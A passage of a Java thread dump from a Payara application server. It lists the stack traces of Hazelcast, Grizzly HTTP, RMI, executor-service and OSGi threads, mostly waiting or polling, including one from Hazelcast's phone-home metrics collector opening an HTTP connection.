java.base@21.0.9/java.io.BufferedInputStream.read(BufferedInputStream.java:312) + at java.base@21.0.9/java.io.FilterInputStream.read(FilterInputStream.java:71) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:580) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:844) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:721) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda/0x0000000401be1250.run(Unknown Source) + at java.base@21.0.9/java.security.AccessController.executePrivileged(AccessController.java:778) + at java.base@21.0.9/java.security.AccessController.doPrivileged(AccessController.java:400) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:720) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Executor-Service-5" #141 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@38205ea0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #153 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@6ccf3310 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #154 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@6ccf3310 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Gogo shell" #180 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@baa9771 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"payara-executor-service-task" #145 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5427c2d8 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.IO.thread-Acceptor" #112 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.acceptLoop(TcpServerAcceptor.java:186) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.run(TcpServerAcceptor.java:172) + +"hz.affectionate_khayyam.IO.thread-out-0" #108 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Executor-Service-9" #152 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@38205ea0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.partition-operation.thread-5" #78 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"payara-executor-service-scheduled-task" #161 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d7a69a3 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"http-thread-pool::http-listener-2(5)" #130 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6676490c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.InvocationMonitorThread" #102 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@583bd61c + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1-kernel(1) SelectorRunner" #125 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Executor-Service-3" #139 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@38205ea0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #68 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@6ccf3310 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.generic-operation.thread-0" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3f477f00 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"RunLevelControllerThread-1785653503577" #47 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3fb43b09 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.TcpServer.thread-4" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5940247a + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Job Cleanup Service" #155 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389de04c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.MetricsRegistry.thread-1" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@df44c9c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.MetricsRegistry.thread-2" #100 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@df44c9c + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.cached.thread-4" #117 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.Net.poll(Native Method) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:191) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.timedFinishConnect(NioSocketImpl.java:548) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:592) + at java.base@21.0.9/java.net.Socket.connect(Socket.java:757) + at java.base@21.0.9/sun.net.NetworkClient.doConnect(NetworkClient.java:178) + at java.base@21.0.9/sun.net.www.http.HttpClient.openServer(HttpClient.java:531) + at java.base@21.0.9/sun.net.www.http.HttpClient.openServer(HttpClient.java:636) + at java.base@21.0.9/sun.net.www.http.HttpClient.(HttpClient.java:282) + at java.base@21.0.9/sun.net.www.http.HttpClient.New(HttpClient.java:386) + at java.base@21.0.9/sun.net.www.http.HttpClient.New(HttpClient.java:408) + at java.base@21.0.9/sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:1327) + at java.base@21.0.9/sun.net.www.protocol.http.HttpURLConnection.plainConnect0(HttpURLConnection.java:1260) + at java.base@21.0.9/sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:1146) + at java.base@21.0.9/sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:1075) + at com.hazelcast.internal.util.phonehome.MetricsCollector.fetchWebService(MetricsCollector.java:89) + at com.hazelcast.internal.util.phonehome.MetricsCollector.fetchWebService(MetricsCollector.java:103) + at com.hazelcast.internal.util.phonehome.CloudInfoCollector.forEachMetric(CloudInfoCollector.java:80) + at com.hazelcast.internal.util.phonehome.PhoneHome.createParameters(PhoneHome.java:161) + at com.hazelcast.internal.util.phonehome.PhoneHome.phoneHome(PhoneHome.java:150) + at com.hazelcast.internal.util.phonehome.PhoneHome.lambda$check$0(PhoneHome.java:98) + at com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda/0x0000000401781808.run(Unknown Source) + at com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator.run(DelegateAndSkipOnConcurrentExecutionDecorator.java:77) + at com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker.run(CachedExecutorServiceDelegate.java:217) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"FileSystemWatchService" #66 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@21.0.9/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:307) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-4" #27 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@393a5514 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at 